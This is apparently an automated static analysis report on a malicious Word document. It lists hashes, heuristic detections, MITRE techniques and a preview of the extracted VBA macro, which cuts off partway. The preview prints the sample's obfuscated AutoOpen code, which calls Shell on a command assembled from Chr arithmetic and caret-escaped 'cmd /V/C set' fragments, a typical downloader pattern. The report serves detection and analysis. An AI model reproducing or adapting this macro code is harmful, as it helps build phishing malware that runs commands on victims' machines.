Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1a9d2ef481164639…

MALICIOUS

Office (OLE)

89.8 KB Created: 2018-09-20 11:15:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 62022b34197efd4ceebeae386c843b07 SHA-1: d0a57bf7d43e43bce0bf5a8e799806af836444cc SHA-256: 1a9d2ef48116463933bd41adab4c50b1722f7b758ec4513d5ad0cc3c1c77af03
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office Word document containing a VBA macro. The AutoOpen macro is present and configured to execute a shell command, indicating an attempt to download and run a secondary payload. The macro code is heavily obfuscated, making it difficult to determine the exact nature of the payload or its destination. The presence of the AutoOpen macro and the execution of a shell command strongly suggest a malicious intent, likely delivered via spearphishing.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6691967-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6691967-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14918 bytes
SHA-256: 23b159fd04d87829146c9d45c6d6450ce2c1dd412d1897a998ebde1e1feecd6f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ncriunTIQoP"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const KMBwzErjWDb = 0
   Dim QKGkrS(2)
QKGkrS(0) = Mid(pJwtDrb, 470, 330) + MidB(mlMmUt, 919, 986) + Right(qkiRB, 199) + Left(OEZlA, 194)
QKGkrS(1) = Mid(pJwtDrb, 470, 330) + Right(qkiRB, 199)
   Dim NcUjzi(2)
NcUjzi(0) = Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194)
NcUjzi(1) = Left(OEZlA, 194) + Right(qkiRB, 199) + MidB(mlMmUt, 919, 986) + Mid(pJwtDrb, 470, 330)
   Dim GVCSq(2)
GVCSq(0) = Left(OEZlA, 194) + Right(qkiRB, 199) + Left(OEZlA, 194) + Mid(pJwtDrb, 470, 330)
GVCSq(1) = Left(OEZlA, 194) + Left(OEZlA, 194) + Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330)
   Dim AGRIoa(4)
AGRIoa(0) = Right(qkiRB, 199) + MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986) + Right(qkiRB, 199)
AGRIoa(1) = Left(OEZlA, 194) + Left(OEZlA, 194)
AGRIoa(2) = Right(qkiRB, 199) + MidB(mlMmUt, 919, 986) + Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194)
AGRIoa(3) = Right(qkiRB, 199) + MidB(mlMmUt, 919, 986)
   Dim tjolfn(3)
tjolfn(0) = Right(qkiRB, 199) + Mid(pJwtDrb, 470, 330) + Right(qkiRB, 199) + Left(OEZlA, 194)
tjolfn(1) = Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194) + Right(qkiRB, 199)
tjolfn(2) = Left(OEZlA, 194) + MidB(mlMmUt, 919, 986)
   Dim DaTjGi(4)
DaTjGi(0) = MidB(mlMmUt, 919, 986) + Left(OEZlA, 194)
DaTjGi(1) = Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194) + Left(OEZlA, 194) + Mid(pJwtDrb, 470, 330)
DaTjGi(2) = Mid(pJwtDrb, 470, 330) + MidB(mlMmUt, 919, 986) + Left(OEZlA, 194) + Left(OEZlA, 194)
DaTjGi(3) = MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986)
   Dim EMXET(2)
EMXET(0) = Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330)
EMXET(1) = Left(OEZlA, 194) + MidB(mlMmUt, 919, 986)
Shell@ iwNWN + GFPndUKoZBG + TfnOpMIcdIjkBw + GFQjRrwAIlKMDa, KMBwzErjWDb
   Dim MZohJp(2)
MZohJp(0) = Left(OEZlA, 194) + Right(qkiRB, 199) + Mid(pJwtDrb, 470, 330) + Right(qkiRB, 199)
MZohJp(1) = Right(qkiRB, 199) + Right(qkiRB, 199) + Left(OEZlA, 194) + Left(OEZlA, 194)
   Dim QXpInj(4)
QXpInj(0) = Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330)
QXpInj(1) = Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194) + MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986)
QXpInj(2) = Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330) + Right(qkiRB, 199) + MidB(mlMmUt, 919, 986)
QXpInj(3) = Right(qkiRB, 199) + Left(OEZlA, 194)
End Sub


Attribute VB_Name = "joAZAGcbhmF"
Function iwNWN()
Dim pMwzj(5)
pMwzj(0) = Left(OEZlA, 194) + MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986) + Right(qkiRB, 199)
pMwzj(1) = Right(qkiRB, 199) + MidB(mlMmUt, 919, 986) + Left(OEZlA, 194) + Left(OEZlA, 194)
pMwzj(2) = Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330)
pMwzj(3) = Mid(pJwtDrb, 470, 330) + MidB(mlMmUt, 919, 986)
pMwzj(4) = Left(OEZlA, 194) + Right(qkiRB, 199)
   Dim jkQLi(2)
jkQLi(0) = Right(qkiRB, 199) + Right(qkiRB, 199)
jkQLi(1) = Mid(pJwtDrb, 470, 330) + MidB(mlMmUt, 919, 986) + Right(qkiRB, 199) + MidB(mlMmUt, 919, 986)
   Dim XGFTC(4)
XGFTC(0) = MidB(mlMmUt, 919, 986) + Right(qkiRB, 199) + Right(qkiRB, 199) + MidB(mlMmUt, 919, 986)
XGFTC(1) = MidB(mlMmUt, 919, 986) + Mid(pJwtDrb, 470, 330)
XGFTC(2) = Left(OEZlA, 194) + MidB(mlMmUt, 919, 986) + Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194)
XGFTC(3) = MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986)
sWilwjrPZI = CStr(Chr(CleanString(9 + 10 + 18 + 0 + 62))) + "md /" + "V/" + CStr(Chr(CleanString(6 + 7 + 12 + 0 + 42))) + CStr(Chr(CleanString(2 + 3 + 5 + 0 + 24))) + "^se^t" + " D^w" + "T^F=    ^ ^ " + "^   " + " ^ ^ ^ ^ ^ "
Dim wlGRfo(3)
wlGRfo(0) = Mid(pJwtDrb, 470, 330) + Right(qkiRB, 199) + Left(OEZlA, 194) + Left(OEZlA, 194)
wlGRfo(1) = Left(OEZlA, 194) + Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194) + MidB(mlMmUt, 919, 986)
wlGRfo(2) = MidB(mlMmUt, 919, 986) + Mid(pJwtDrb, 470, 330)
   Dim MBqPc(3)
MBqPc(0) = MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986)
MBqPc(1) = Mid(pJwtDrb, 47
... (truncated)